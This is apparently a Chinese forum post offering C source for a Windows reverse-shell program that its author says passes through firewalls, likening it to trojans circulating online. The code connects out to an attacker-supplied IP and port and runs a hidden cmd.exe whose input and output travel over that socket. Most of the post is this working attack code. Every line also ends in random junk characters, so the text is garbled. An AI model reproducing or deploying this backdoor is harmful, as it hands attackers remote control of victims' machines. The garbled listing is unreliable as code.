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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mIFS/C  
HoH3.AY X  
/* ============================== _8 vxb  
Rebound port in Windows NT bjm`u3 A  
By wind,2006/7 6N~ jt  
===============================*/ >,@Fz)\:{'  
#include <j ;HRm  
#include at,Xad\j  
tPO.^  
#pragma comment(lib,"wsock32.lib") ?9H7Twi+T  
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void OutputShell(); L]K*Do  
SOCKET sClient; iJ?8)}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yZ0;\Tr*J  
@ RTQJ+ms  
void main(int argc,char **argv) l]sO[`X  
{ 2O<S ig=  
WSADATA stWsaData; )P|%=laE8  
int nRet; >z>UtT:  
SOCKADDR_IN stSaiClient,stSaiServer; .Z%7+[  
u+I-!3J87  
if(argc != 3) /D1Bf:'(  
{ gW/H#T,  
printf("Useage:\n\rRebound DestIP DestPort\n"); h,FP,w;G  
return; *uA?}XEfi  
} K8|6r|x  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4fzq C)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y^;qT_)#  
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stSaiClient.sin_family = AF_INET; M?[lpH3  
stSaiClient.sin_port = htons(0); JO :m: M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3C_g)5 _:  
rt^z#2$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *ivbk /8  
{ Zr}`W \  
printf("Bind Socket Failed!\n"); ,J}lyvkd  
return; M8KfC!  
} Z"Et]xSU%$  
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stSaiServer.sin_family = AF_INET; lz{>c.Ll[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _& KaI }O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R)<Fqa7Tm  
!~ -^s  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d57(#)`  
{ m G?a)P  
printf("Connect Error!"); KOi%zE%  
return; WCR+ZXI?1  
} elKQge  
OutputShell(); OR?8F5o?p  
} *\S>dhJ4  
{/Q pEd>3+  
void OutputShell() t&eD;lg :  
{ Q96g7[  
char szBuff[1024]; 9sYX(Fl  
SECURITY_ATTRIBUTES stSecurityAttributes; UwE^ij  
OSVERSIONINFO stOsversionInfo; B2845~\.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |I OTW=>  
STARTUPINFO stStartupInfo; Rx`0VQ  
char *szShell; QO#ZQ~  
PROCESS_INFORMATION stProcessInformation; l\$C)q6O  
unsigned long lBytesRead; Y Nq<%i!>  
 n8:2Z>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /)oxuk&}c  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K9w24Oka  
stSecurityAttributes.lpSecurityDescriptor = 0; )s6tj lf8  
stSecurityAttributes.bInheritHandle = TRUE; ;P2~cQjD;  
Jt)<RMQ^R  
=602%ef\  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KJ9~"v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,(c="L4[  
!kV?h5@Bo  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l" sR\`~  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }DZkCzK  
stStartupInfo.wShowWindow = SW_HIDE; <m@U`RFm  
stStartupInfo.hStdInput = hReadPipe; F&c A!~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :"QRB#EC%  
@kqy!5)K  
GetVersionEx(&stOsversionInfo); (qPZEZKx  
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switch(stOsversionInfo.dwPlatformId) <78> 6u/W%  
{ !2{MWj  
case 1: 58v5Z$%--  
szShell = "command.com"; u[dI81`  
break; V KR6i  
default: YO,GZD`-o  
szShell = "cmd.exe"; pkk0?$l ",  
break; niA{L:4  
} 7s.sbP~  
7,+:Q Y@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )%MB o.NL  
rcyH2)Y/e  
send(sClient,szMsg,77,0); _@^msyoq  
while(1) jXW71$B  
{ SR43#!99Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mS%D" e  
if(lBytesRead) ~z< ? Wh  
{ SnXYq 7`t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F[?t"d  
send(sClient,szBuff,lBytesRead,0); 7 'f>  
} D2?7=5DgS  
else WrG)&&d  
{ p1|@F^Q  
lBytesRead=recv(sClient,szBuff,1024,0); H>Fy 2w  
if(lBytesRead<=0) break; CV& SNA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 90ORx\Oeo  
} 4Yn*q~f  
} q-!m|<Z  
wEkW=  
return; kwyvd`J8  
}
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